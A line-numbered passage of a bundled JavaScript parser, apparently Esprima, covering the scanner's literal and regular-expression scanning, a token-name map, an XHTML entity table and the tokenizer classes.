5783 assert_1.assert(character_1.Character.isDecimalDigit(ch.charCodeAt(0)) || (ch === '.'), 'Numeric literal must start with a decimal digit or a decimal point');
5784 var num = '';
5785 if (ch !== '.') {
5786 num = this.source[this.index++];
5787 ch = this.source[this.index];
5788 // Hex number starts with '0x'.
5789 // Octal number starts with '0'.
5790 // Octal number in ES6 starts with '0o'.
5791 // Binary number in ES6 starts with '0b'.
5792 if (num === '0') {
5793 if (ch === 'x' || ch === 'X') {
5794 ++this.index;
5795 return this.scanHexLiteral(start);
5796 }
5797 if (ch === 'b' || ch === 'B') {
5798 ++this.index;
5799 return this.scanBinaryLiteral(start);
5800 }
5801 if (ch === 'o' || ch === 'O') {
5802 return this.scanOctalLiteral(ch, start);
5803 }
5804 if (ch && character_1.Character.isOctalDigit(ch.charCodeAt(0))) {
5805 if (this.isImplicitOctalLiteral()) {
5806 return this.scanOctalLiteral(ch, start);
5807 }
5808 }
5809 }
5810 while (character_1.Character.isDecimalDigit(this.source.charCodeAt(this.index))) {
5811 num += this.source[this.index++];
5812 }
5813 ch = this.source[this.index];
5814 }
5815 if (ch === '.') {
5816 num += this.source[this.index++];
5817 while (character_1.Character.isDecimalDigit(this.source.charCodeAt(this.index))) {
5818 num += this.source[this.index++];
5819 }
5820 ch = this.source[this.index];
5821 }
5822 if (ch === 'e' || ch === 'E') {
5823 num += this.source[this.index++];
5824 ch = this.source[this.index];
5825 if (ch === '+' || ch === '-') {
5826 num += this.source[this.index++];
5827 }
5828 if (character_1.Character.isDecimalDigit(this.source.charCodeAt(this.index))) {
5829 while (character_1.Character.isDecimalDigit(this.source.charCodeAt(this.index))) {
5830 num += this.source[this.index++];
5831 }
5832 }
5833 else {
5834 this.throwUnexpectedToken();
5835 }
5836 }
5837 if (character_1.Character.isIdentifierStart(this.source.charCodeAt(this.index))) {
5838 this.throwUnexpectedToken();
5839 }
5840 return {
5841 type: 6 /* NumericLiteral */,
5842 value: parseFloat(num),
5843 lineNumber: this.lineNumber,
5844 lineStart: this.lineStart,
5845 start: start,
5846 end: this.index
5847 };
5848 };
5849 // https://tc39.github.io/ecma262/#sec-literals-string-literals
5850 Scanner.prototype.scanStringLiteral = function () {
5851 var start = this.index;
5852 var quote = this.source[start];
5853 assert_1.assert((quote === '\'' || quote === '"'), 'String literal must starts with a quote');
5854 ++this.index;
5855 var octal = false;
5856 var str = '';
5857 while (!this.eof()) {
5858 var ch = this.source[this.index++];
5859 if (ch === quote) {
5860 quote = '';
5861 break;
5862 }
5863 else if (ch === '\\') {
5864 ch = this.source[this.index++];
5865 if (!ch || !character_1.Character.isLineTerminator(ch.charCodeAt(0))) {
5866 switch (ch) {
5867 case 'u':
5868 if (this.source[this.index] === '{') {
5869 ++this.index;
5870 str += this.scanUnicodeCodePointEscape();
5871 }
5872 else {
5873 var unescaped_1 = this.scanHexEscape(ch);
5874 if (unescaped_1 === null) {
5875 this.throwUnexpectedToken();
5876 }
5877 str += unescaped_1;
5878 }
5879 break;
5880 case 'x':
5881 var unescaped = this.scanHexEscape(ch);
5882 if (unescaped === null) {
5883 this.throwUnexpectedToken(messages_1.Messages.InvalidHexEscapeSequence);
5884 }
5885 str += unescaped;
5886 break;
5887 case 'n':
5888 str += '\n';
5889 break;
5890 case 'r':
5891 str += '\r';
5892 break;
5893 case 't':
5894 str += '\t';
5895 break;
5896 case 'b':
5897 str += '\b';
5898 break;
5899 case 'f':
5900 str += '\f';
5901 break;
5902 case 'v':
5903 str += '\x0B';
5904 break;
5905 case '8':
5906 case '9':
5907 str += ch;
5908 this.tolerateUnexpectedToken();
5909 break;
5910 default:
5911 if (ch && character_1.Character.isOctalDigit(ch.charCodeAt(0))) {
5912 var octToDec = this.octalToDecimal(ch);
5913 octal = octToDec.octal || octal;
5914 str += String.fromCharCode(octToDec.code);
5915 }
5916 else {
5917 str += ch;
5918 }
5919 break;
5920 }
5921 }
5922 else {
5923 ++this.lineNumber;
5924 if (ch === '\r' && this.source[this.index] === '\n') {
5925 ++this.index;
5926 }
5927 this.lineStart = this.index;
5928 }
5929 }
5930 else if (character_1.Character.isLineTerminator(ch.charCodeAt(0))) {
5931 break;
5932 }
5933 else {
5934 str += ch;
5935 }
5936 }
5937 if (quote !== '') {
5938 this.index = start;
5939 this.throwUnexpectedToken();
5940 }
5941 return {
5942 type: 8 /* StringLiteral */,
5943 value: str,
5944 octal: octal,
5945 lineNumber: this.lineNumber,
5946 lineStart: this.lineStart,
5947 start: start,
5948 end: this.index
5949 };
5950 };
5951 // https://tc39.github.io/ecma262/#sec-template-literal-lexical-components
5952 Scanner.prototype.scanTemplate = function () {
5953 var cooked = '';
5954 var terminated = false;
5955 var start = this.index;
5956 var head = (this.source[start] === '`');
5957 var tail = false;
5958 var rawOffset = 2;
5959 ++this.index;
5960 while (!this.eof()) {
5961 var ch = this.source[this.index++];
5962 if (ch === '`') {
5963 rawOffset = 1;
5964 tail = true;
5965 terminated = true;
5966 break;
5967 }
5968 else if (ch === '$') {
5969 if (this.source[this.index] === '{') {
5970 this.curlyStack.push('${');
5971 ++this.index;
5972 terminated = true;
5973 break;
5974 }
5975 cooked += ch;
5976 }
5977 else if (ch === '\\') {
5978 ch = this.source[this.index++];
5979 if (!character_1.Character.isLineTerminator(ch.charCodeAt(0))) {
5980 switch (ch) {
5981 case 'n':
5982 cooked += '\n';
5983 break;
5984 case 'r':
5985 cooked += '\r';
5986 break;
5987 case 't':
5988 cooked += '\t';
5989 break;
5990 case 'u':
5991 if (this.source[this.index] === '{') {
5992 ++this.index;
5993 cooked += this.scanUnicodeCodePointEscape();
5994 }
5995 else {
5996 var restore = this.index;
5997 var unescaped_2 = this.scanHexEscape(ch);
5998 if (unescaped_2 !== null) {
5999 cooked += unescaped_2;
6000 }
6001 else {
6002 this.index = restore;
6003 cooked += ch;
6004 }
6005 }
6006 break;
6007 case 'x':
6008 var unescaped = this.scanHexEscape(ch);
6009 if (unescaped === null) {
6010 this.throwUnexpectedToken(messages_1.Messages.InvalidHexEscapeSequence);
6011 }
6012 cooked += unescaped;
6013 break;
6014 case 'b':
6015 cooked += '\b';
6016 break;
6017 case 'f':
6018 cooked += '\f';
6019 break;
6020 case 'v':
6021 cooked += '\v';
6022 break;
6023 default:
6024 if (ch === '0') {
6025 if (character_1.Character.isDecimalDigit(this.source.charCodeAt(this.index))) {
6026 // Illegal: \01 \02 and so on
6027 this.throwUnexpectedToken(messages_1.Messages.TemplateOctalLiteral);
6028 }
6029 cooked += '\0';
6030 }
6031 else if (character_1.Character.isOctalDigit(ch.charCodeAt(0))) {
6032 // Illegal: \1 \2
6033 this.throwUnexpectedToken(messages_1.Messages.TemplateOctalLiteral);
6034 }
6035 else {
6036 cooked += ch;
6037 }
6038 break;
6039 }
6040 }
6041 else {
6042 ++this.lineNumber;
6043 if (ch === '\r' && this.source[this.index] === '\n') {
6044 ++this.index;
6045 }
6046 this.lineStart = this.index;
6047 }
6048 }
6049 else if (character_1.Character.isLineTerminator(ch.charCodeAt(0))) {
6050 ++this.lineNumber;
6051 if (ch === '\r' && this.source[this.index] === '\n') {
6052 ++this.index;
6053 }
6054 this.lineStart = this.index;
6055 cooked += '\n';
6056 }
6057 else {
6058 cooked += ch;
6059 }
6060 }
6061 if (!terminated) {
6062 this.throwUnexpectedToken();
6063 }
6064 if (!head) {
6065 this.curlyStack.pop();
6066 }
6067 return {
6068 type: 10 /* Template */,
6069 value: this.source.slice(start + 1, this.index - rawOffset),
6070 cooked: cooked,
6071 head: head,
6072 tail: tail,
6073 lineNumber: this.lineNumber,
6074 lineStart: this.lineStart,
6075 start: start,
6076 end: this.index
6077 };
6078 };
6079 // https://tc39.github.io/ecma262/#sec-literals-regular-expression-literals
6080 Scanner.prototype.testRegExp = function (pattern, flags) {
6081 // The BMP character to use as a replacement for astral symbols when
6082 // translating an ES6 "u"-flagged pattern to an ES5-compatible
6083 // approximation.
6084 // Note: replacing with '\uFFFF' enables false positives in unlikely
6085 // scenarios. For example, `[\u{1044f}-\u{10440}]` is an invalid
6086 // pattern that would not be detected by this substitution.
6087 var astralSubstitute = '\uFFFF';
6088 var tmp = pattern;
6089 var self = this;
6090 if (flags.indexOf('u') >= 0) {
6091 tmp = tmp
6092 .replace(/\\u\{([0-9a-fA-F]+)\}|\\u([a-fA-F0-9]{4})/g, function ($0, $1, $2) {
6093 var codePoint = parseInt($1 || $2, 16);
6094 if (codePoint > 0x10FFFF) {
6095 self.throwUnexpectedToken(messages_1.Messages.InvalidRegExp);
6096 }
6097 if (codePoint <= 0xFFFF) {
6098 return String.fromCharCode(codePoint);
6099 }
6100 return astralSubstitute;
6101 })
6102 .replace(/[\uD800-\uDBFF][\uDC00-\uDFFF]/g, astralSubstitute);
6103 }
6104 // First, detect invalid regular expressions.
6105 try {
6106 RegExp(tmp);
6107 }
6108 catch (e) {
6109 this.throwUnexpectedToken(messages_1.Messages.InvalidRegExp);
6110 }
6111 // Return a regular expression object for this pattern-flag pair, or
6112 // `null` in case the current environment doesn't support the flags it
6113 // uses.
6114 try {
6115 return new RegExp(pattern, flags);
6116 }
6117 catch (exception) {
6118 /* istanbul ignore next */
6119 return null;
6120 }
6121 };
6122 Scanner.prototype.scanRegExpBody = function () {
6123 var ch = this.source[this.index];
6124 assert_1.assert(ch === '/', 'Regular expression literal must start with a slash');
6125 var str = this.source[this.index++];
6126 var classMarker = false;
6127 var terminated = false;
6128 while (!this.eof()) {
6129 ch = this.source[this.index++];
6130 str += ch;
6131 if (ch === '\\') {
6132 ch = this.source[this.index++];
6133 // https://tc39.github.io/ecma262/#sec-literals-regular-expression-literals
6134 if (character_1.Character.isLineTerminator(ch.charCodeAt(0))) {
6135 this.throwUnexpectedToken(messages_1.Messages.UnterminatedRegExp);
6136 }
6137 str += ch;
6138 }
6139 else if (character_1.Character.isLineTerminator(ch.charCodeAt(0))) {
6140 this.throwUnexpectedToken(messages_1.Messages.UnterminatedRegExp);
6141 }
6142 else if (classMarker) {
6143 if (ch === ']') {
6144 classMarker = false;
6145 }
6146 }
6147 else {
6148 if (ch === '/') {
6149 terminated = true;
6150 break;
6151 }
6152 else if (ch === '[') {
6153 classMarker = true;
6154 }
6155 }
6156 }
6157 if (!terminated) {
6158 this.throwUnexpectedToken(messages_1.Messages.UnterminatedRegExp);
6159 }
6160 // Exclude leading and trailing slash.
6161 return str.substr(1, str.length - 2);
6162 };
6163 Scanner.prototype.scanRegExpFlags = function () {
6164 var str = '';
6165 var flags = '';
6166 while (!this.eof()) {
6167 var ch = this.source[this.index];
6168 if (!character_1.Character.isIdentifierPart(ch.charCodeAt(0))) {
6169 break;
6170 }
6171 ++this.index;
6172 if (ch === '\\' && !this.eof()) {
6173 ch = this.source[this.index];
6174 if (ch === 'u') {
6175 ++this.index;
6176 var restore = this.index;
6177 var char = this.scanHexEscape('u');
6178 if (char !== null) {
6179 flags += char;
6180 for (str += '\\u'; restore < this.index; ++restore) {
6181 str += this.source[restore];
6182 }
6183 }
6184 else {
6185 this.index = restore;
6186 flags += 'u';
6187 str += '\\u';
6188 }
6189 this.tolerateUnexpectedToken();
6190 }
6191 else {
6192 str += '\\';
6193 this.tolerateUnexpectedToken();
6194 }
6195 }
6196 else {
6197 flags += ch;
6198 str += ch;
6199 }
6200 }
6201 return flags;
6202 };
6203 Scanner.prototype.scanRegExp = function () {
6204 var start = this.index;
6205 var pattern = this.scanRegExpBody();
6206 var flags = this.scanRegExpFlags();
6207 var value = this.testRegExp(pattern, flags);
6208 return {
6209 type: 9 /* RegularExpression */,
6210 value: '',
6211 pattern: pattern,
6212 flags: flags,
6213 regex: value,
6214 lineNumber: this.lineNumber,
6215 lineStart: this.lineStart,
6216 start: start,
6217 end: this.index
6218 };
6219 };
6220 Scanner.prototype.lex = function () {
6221 if (this.eof()) {
6222 return {
6223 type: 2 /* EOF */,
6224 value: '',
6225 lineNumber: this.lineNumber,
6226 lineStart: this.lineStart,
6227 start: this.index,
6228 end: this.index
6229 };
6230 }
6231 var cp = this.source.charCodeAt(this.index);
6232 if (character_1.Character.isIdentifierStart(cp)) {
6233 return this.scanIdentifier();
6234 }
6235 // Very common: ( and ) and ;
6236 if (cp === 0x28 || cp === 0x29 || cp === 0x3B) {
6237 return this.scanPunctuator();
6238 }
6239 // String literal starts with single quote (U+0027) or double quote (U+0022).
6240 if (cp === 0x27 || cp === 0x22) {
6241 return this.scanStringLiteral();
6242 }
6243 // Dot (.) U+002E can also start a floating-point number, hence the need
6244 // to check the next character.
6245 if (cp === 0x2E) {
6246 if (character_1.Character.isDecimalDigit(this.source.charCodeAt(this.index + 1))) {
6247 return this.scanNumericLiteral();
6248 }
6249 return this.scanPunctuator();
6250 }
6251 if (character_1.Character.isDecimalDigit(cp)) {
6252 return this.scanNumericLiteral();
6253 }
6254 // Template literals start with ` (U+0060) for template head
6255 // or } (U+007D) for template middle or template tail.
6256 if (cp === 0x60 || (cp === 0x7D && this.curlyStack[this.curlyStack.length - 1] === '${')) {
6257 return this.scanTemplate();
6258 }
6259 // Possible identifier start in a surrogate pair.
6260 if (cp >= 0xD800 && cp < 0xDFFF) {
6261 if (character_1.Character.isIdentifierStart(this.codePointAt(this.index))) {
6262 return this.scanIdentifier();
6263 }
6264 }
6265 return this.scanPunctuator();
6266 };
6267 return Scanner;
6268 }());
6269 exports.Scanner = Scanner;
6270
6271
6272/***/ },
6273/* 13 */
6274/***/ function(module, exports) {
6275
6276 "use strict";
6277 Object.defineProperty(exports, "__esModule", { value: true });
6278 exports.TokenName = {};
6279 exports.TokenName[1 /* BooleanLiteral */] = 'Boolean';
6280 exports.TokenName[2 /* EOF */] = '<end>';
6281 exports.TokenName[3 /* Identifier */] = 'Identifier';
6282 exports.TokenName[4 /* Keyword */] = 'Keyword';
6283 exports.TokenName[5 /* NullLiteral */] = 'Null';
6284 exports.TokenName[6 /* NumericLiteral */] = 'Numeric';
6285 exports.TokenName[7 /* Punctuator */] = 'Punctuator';
6286 exports.TokenName[8 /* StringLiteral */] = 'String';
6287 exports.TokenName[9 /* RegularExpression */] = 'RegularExpression';
6288 exports.TokenName[10 /* Template */] = 'Template';
6289
6290
6291/***/ },
6292/* 14 */
6293/***/ function(module, exports) {
6294
6295 "use strict";
6296 // Generated by generate-xhtml-entities.js. DO NOT MODIFY!
6297 Object.defineProperty(exports, "__esModule", { value: true });
6298 exports.XHTMLEntities = {
6299 quot: '\u0022',
6300 amp: '\u0026',
6301 apos: '\u0027',
6302 gt: '\u003E',
6303 nbsp: '\u00A0',
6304 iexcl: '\u00A1',
6305 cent: '\u00A2',
6306 pound: '\u00A3',
6307 curren: '\u00A4',
6308 yen: '\u00A5',
6309 brvbar: '\u00A6',
6310 sect: '\u00A7',
6311 uml: '\u00A8',
6312 copy: '\u00A9',
6313 ordf: '\u00AA',
6314 laquo: '\u00AB',
6315 not: '\u00AC',
6316 shy: '\u00AD',
6317 reg: '\u00AE',
6318 macr: '\u00AF',
6319 deg: '\u00B0',
6320 plusmn: '\u00B1',
6321 sup2: '\u00B2',
6322 sup3: '\u00B3',
6323 acute: '\u00B4',
6324 micro: '\u00B5',
6325 para: '\u00B6',
6326 middot: '\u00B7',
6327 cedil: '\u00B8',
6328 sup1: '\u00B9',
6329 ordm: '\u00BA',
6330 raquo: '\u00BB',
6331 frac14: '\u00BC',
6332 frac12: '\u00BD',
6333 frac34: '\u00BE',
6334 iquest: '\u00BF',
6335 Agrave: '\u00C0',
6336 Aacute: '\u00C1',
6337 Acirc: '\u00C2',
6338 Atilde: '\u00C3',
6339 Auml: '\u00C4',
6340 Aring: '\u00C5',
6341 AElig: '\u00C6',
6342 Ccedil: '\u00C7',
6343 Egrave: '\u00C8',
6344 Eacute: '\u00C9',
6345 Ecirc: '\u00CA',
6346 Euml: '\u00CB',
6347 Igrave: '\u00CC',
6348 Iacute: '\u00CD',
6349 Icirc: '\u00CE',
6350 Iuml: '\u00CF',
6351 ETH: '\u00D0',
6352 Ntilde: '\u00D1',
6353 Ograve: '\u00D2',
6354 Oacute: '\u00D3',
6355 Ocirc: '\u00D4',
6356 Otilde: '\u00D5',
6357 Ouml: '\u00D6',
6358 times: '\u00D7',
6359 Oslash: '\u00D8',
6360 Ugrave: '\u00D9',
6361 Uacute: '\u00DA',
6362 Ucirc: '\u00DB',
6363 Uuml: '\u00DC',
6364 Yacute: '\u00DD',
6365 THORN: '\u00DE',
6366 szlig: '\u00DF',
6367 agrave: '\u00E0',
6368 aacute: '\u00E1',
6369 acirc: '\u00E2',
6370 atilde: '\u00E3',
6371 auml: '\u00E4',
6372 aring: '\u00E5',
6373 aelig: '\u00E6',
6374 ccedil: '\u00E7',
6375 egrave: '\u00E8',
6376 eacute: '\u00E9',
6377 ecirc: '\u00EA',
6378 euml: '\u00EB',
6379 igrave: '\u00EC',
6380 iacute: '\u00ED',
6381 icirc: '\u00EE',
6382 iuml: '\u00EF',
6383 eth: '\u00F0',
6384 ntilde: '\u00F1',
6385 ograve: '\u00F2',
6386 oacute: '\u00F3',
6387 ocirc: '\u00F4',
6388 otilde: '\u00F5',
6389 ouml: '\u00F6',
6390 divide: '\u00F7',
6391 oslash: '\u00F8',
6392 ugrave: '\u00F9',
6393 uacute: '\u00FA',
6394 ucirc: '\u00FB',
6395 uuml: '\u00FC',
6396 yacute: '\u00FD',
6397 thorn: '\u00FE',
6398 yuml: '\u00FF',
6399 OElig: '\u0152',
6400 oelig: '\u0153',
6401 Scaron: '\u0160',
6402 scaron: '\u0161',
6403 Yuml: '\u0178',
6404 fnof: '\u0192',
6405 circ: '\u02C6',
6406 tilde: '\u02DC',
6407 Alpha: '\u0391',
6408 Beta: '\u0392',
6409 Gamma: '\u0393',
6410 Delta: '\u0394',
6411 Epsilon: '\u0395',
6412 Zeta: '\u0396',
6413 Eta: '\u0397',
6414 Theta: '\u0398',
6415 Iota: '\u0399',
6416 Kappa: '\u039A',
6417 Lambda: '\u039B',
6418 Mu: '\u039C',
6419 Nu: '\u039D',
6420 Xi: '\u039E',
6421 Omicron: '\u039F',
6422 Pi: '\u03A0',
6423 Rho: '\u03A1',
6424 Sigma: '\u03A3',
6425 Tau: '\u03A4',
6426 Upsilon: '\u03A5',
6427 Phi: '\u03A6',
6428 Chi: '\u03A7',
6429 Psi: '\u03A8',
6430 Omega: '\u03A9',
6431 alpha: '\u03B1',
6432 beta: '\u03B2',
6433 gamma: '\u03B3',
6434 delta: '\u03B4',
6435 epsilon: '\u03B5',
6436 zeta: '\u03B6',
6437 eta: '\u03B7',
6438 theta: '\u03B8',
6439 iota: '\u03B9',
6440 kappa: '\u03BA',
6441 lambda: '\u03BB',
6442 mu: '\u03BC',
6443 nu: '\u03BD',
6444 xi: '\u03BE',
6445 omicron: '\u03BF',
6446 pi: '\u03C0',
6447 rho: '\u03C1',
6448 sigmaf: '\u03C2',
6449 sigma: '\u03C3',
6450 tau: '\u03C4',
6451 upsilon: '\u03C5',
6452 phi: '\u03C6',
6453 chi: '\u03C7',
6454 psi: '\u03C8',
6455 omega: '\u03C9',
6456 thetasym: '\u03D1',
6457 upsih: '\u03D2',
6458 piv: '\u03D6',
6459 ensp: '\u2002',
6460 emsp: '\u2003',
6461 thinsp: '\u2009',
6462 zwnj: '\u200C',
6463 zwj: '\u200D',
6464 lrm: '\u200E',
6465 rlm: '\u200F',
6466 ndash: '\u2013',
6467 mdash: '\u2014',
6468 lsquo: '\u2018',
6469 rsquo: '\u2019',
6470 sbquo: '\u201A',
6471 ldquo: '\u201C',
6472 rdquo: '\u201D',
6473 bdquo: '\u201E',
6474 dagger: '\u2020',
6475 Dagger: '\u2021',
6476 bull: '\u2022',
6477 hellip: '\u2026',
6478 permil: '\u2030',
6479 prime: '\u2032',
6480 Prime: '\u2033',
6481 lsaquo: '\u2039',
6482 rsaquo: '\u203A',
6483 oline: '\u203E',
6484 frasl: '\u2044',
6485 euro: '\u20AC',
6486 image: '\u2111',
6487 weierp: '\u2118',
6488 real: '\u211C',
6489 trade: '\u2122',
6490 alefsym: '\u2135',
6491 larr: '\u2190',
6492 uarr: '\u2191',
6493 rarr: '\u2192',
6494 darr: '\u2193',
6495 harr: '\u2194',
6496 crarr: '\u21B5',
6497 lArr: '\u21D0',
6498 uArr: '\u21D1',
6499 rArr: '\u21D2',
6500 dArr: '\u21D3',
6501 hArr: '\u21D4',
6502 forall: '\u2200',
6503 part: '\u2202',
6504 exist: '\u2203',
6505 empty: '\u2205',
6506 nabla: '\u2207',
6507 isin: '\u2208',
6508 notin: '\u2209',
6509 ni: '\u220B',
6510 prod: '\u220F',
6511 sum: '\u2211',
6512 minus: '\u2212',
6513 lowast: '\u2217',
6514 radic: '\u221A',
6515 prop: '\u221D',
6516 infin: '\u221E',
6517 ang: '\u2220',
6518 and: '\u2227',
6519 or: '\u2228',
6520 cap: '\u2229',
6521 cup: '\u222A',
6522 int: '\u222B',
6523 there4: '\u2234',
6524 sim: '\u223C',
6525 cong: '\u2245',
6526 asymp: '\u2248',
6527 ne: '\u2260',
6528 equiv: '\u2261',
6529 le: '\u2264',
6530 ge: '\u2265',
6531 sub: '\u2282',
6532 sup: '\u2283',
6533 nsub: '\u2284',
6534 sube: '\u2286',
6535 supe: '\u2287',
6536 oplus: '\u2295',
6537 otimes: '\u2297',
6538 perp: '\u22A5',
6539 sdot: '\u22C5',
6540 lceil: '\u2308',
6541 rceil: '\u2309',
6542 lfloor: '\u230A',
6543 rfloor: '\u230B',
6544 loz: '\u25CA',
6545 spades: '\u2660',
6546 clubs: '\u2663',
6547 hearts: '\u2665',
6548 diams: '\u2666',
6549 lang: '\u27E8',
6550 rang: '\u27E9'
6551 };
6552
6553
6554/***/ },
6555/* 15 */
6556/***/ function(module, exports, __webpack_require__) {
6557
6558 "use strict";
6559 Object.defineProperty(exports, "__esModule", { value: true });
6560 var error_handler_1 = __webpack_require__(10);
6561 var scanner_1 = __webpack_require__(12);
6562 var token_1 = __webpack_require__(13);
6563 var Reader = (function () {
6564 function Reader() {
6565 this.values = [];
6566 this.curly = this.paren = -1;
6567 }
6568 // A function following one of those tokens is an expression.
6569 Reader.prototype.beforeFunctionExpression = function (t) {
6570 return ['(', '{', '[', 'in', 'typeof', 'instanceof', 'new',
6571 'return', 'case', 'delete', 'throw', 'void',
6572 // assignment operators
6573 '=', '+=', '-=', '*=', '**=', '/=', '%=', '<<=', '>>=', '>>>=',
6574 '&=', '|=', '^=', ',',
6575 // binary/unary operators
6576 '+', '-', '*', '**', '/', '%', '++', '--', '<<', '>>', '>>>', '&',
6577 '|', '^', '!', '~', '&&', '||', '?', ':', '===', '==', '>=',
6578 '<=', '<', '>', '!=', '!=='].indexOf(t) >= 0;
6579 };
6580 // Determine if forward slash (/) is an operator or part of a regular expression
6581 // https://github.com/mozilla/sweet.js/wiki/design
6582 Reader.prototype.isRegexStart = function () {
6583 var previous = this.values[this.values.length - 1];
6584 var regex = (previous !== null);
6585 switch (previous) {
6586 case 'this':
6587 case ']':
6588 regex = false;
6589 break;
6590 case ')':
6591 var keyword = this.values[this.paren - 1];
6592 regex = (keyword === 'if' || keyword === 'while' || keyword === 'for' || keyword === 'with');
6593 break;
6594 case '}':
6595 // Dividing a function by anything makes little sense,
6596 // but we have to check for that.
6597 regex = false;
6598 if (this.values[this.curly - 3] === 'function') {
6599 // Anonymous function, e.g. function(){} /42
6600 var check = this.values[this.curly - 4];
6601 regex = check ? !this.beforeFunctionExpression(check) : false;
6602 }
6603 else if (this.values[this.curly - 4] === 'function') {
6604 // Named function, e.g. function f(){} /42/
6605 var check = this.values[this.curly - 5];
6606 regex = check ? !this.beforeFunctionExpression(check) : true;
6607 }
6608 break;
6609 default:
6610 break;
6611 }
6612 return regex;
6613 };
6614 Reader.prototype.push = function (token) {
6615 if (token.type === 7 /* Punctuator */ || token.type === 4 /* Keyword */) {
6616 if (token.value === '{') {
6617 this.curly = this.values.length;
6618 }
6619 else if (token.value === '(') {
6620 this.paren = this.values.length;
6621 }
6622 this.values.push(token.value);
6623 }
6624 else {
6625 this.values.push(null);
6626 }
6627 };
6628 return Reader;
6629 }());
6630 var Tokenizer = (function () {
6631 function Tokenizer(code, config) {
6632 this.errorHandler = new error_handler_1.ErrorHandler();
6633 this.errorHandler.tolerant = config ? (typeof config.tolerant === 'boolean' && config.tolerant) : false;
6634 this.scanner = new scanner_1.Scanner(code, this.errorHandler);
6635 this.scanner.trackComment = config ? (typeof config.comment === 'boolean' && config.comment) : false;
6636 this.trackRange = config ? (typeof config.range === 'boolean' && config.range) : false;
6637 this.trackLoc = config ? (typeof config.loc === 'boolean' && config.loc) : false;
6638 this.buffer = [];
6639 this.reader = new Reader();
6640 }
6641 Tokenizer.prototype.errors = function () {
6642 return this.errorHandler.errors;
6643 };
6644 Tokenizer.prototype.getNextToken = function () {
6645 if (this.buffer.length === 0) {
6646 var comments = this.scanner.scanComments();
6647 if (this.scanner.trackComment) {
6648 for (var i = 0; i < comments.length; ++i) {
6649 var e = comments[i];
6650 var value = this.scanner.source.slice(e.slice[0], e.slice[1]);
6651 var comment = {
6652 type: e.multiLine ? 'BlockComment' : 'LineComment',
6653 value: value
6654 };
6655 if (this.trackRange) {
6656 comment.range = e.range;
6657 }
6658 if (this.trackLoc) {
6659 comment.loc = e.loc;
6660 }
6661 this.buffer.push(comment);
6662 }
6663 }
6664 if (!this.scanner.eof()) {
6665 var loc = void 0;
6666 if (this.trackLoc) {
6667 loc = {
6668 start: {
6669 line: this.scanner.lineNumber,
6670 column: this.scanner.index - this.scanner.lineStart
6671 },
6672 end: {}
6673 };
6674 }
6675 var startRegex = (this.scanner.source[this.scanner.index] === '/') && this.reader.isRegexStart();
6676 var token = startRegex ? this.scanner.scanRegExp() : this.scanner.lex();
6677 this.reader.push(token);
6678 var entry = {
6679 type: token_1.TokenName[token.type],
6680 value: this.scanner.source.slice(token.start, token.end)
6681 };
6682 if (this.trackRange) {
6683 entry.range = [token.start, token.end];
6684 }
6685 if (this.trackLoc) {
6686 loc.end = {
6687 line: this.scanner.lineNumber,
6688 column: this.scanner.index - this.scanner.lineStart
6689 };
6690 entry.loc = loc;
6691 }
6692 if (token.type === 9 /* RegularExpression */) {
6693 var pattern = token.pattern;
6694 var flags = token.flags;
6695 entry.regex = { pattern: pattern, flags: flags };
6696 }
6697 this.buffer.push(entry);
6698 }
6699 }
6700 return this.buffer.shift();
6701 };
6702 return Tokenizer;
6703 }());
6704 exports.Tokenizer = Tokenizer;
6705
6706
6707/***/ }
6708/******/ ])
6709});
6710;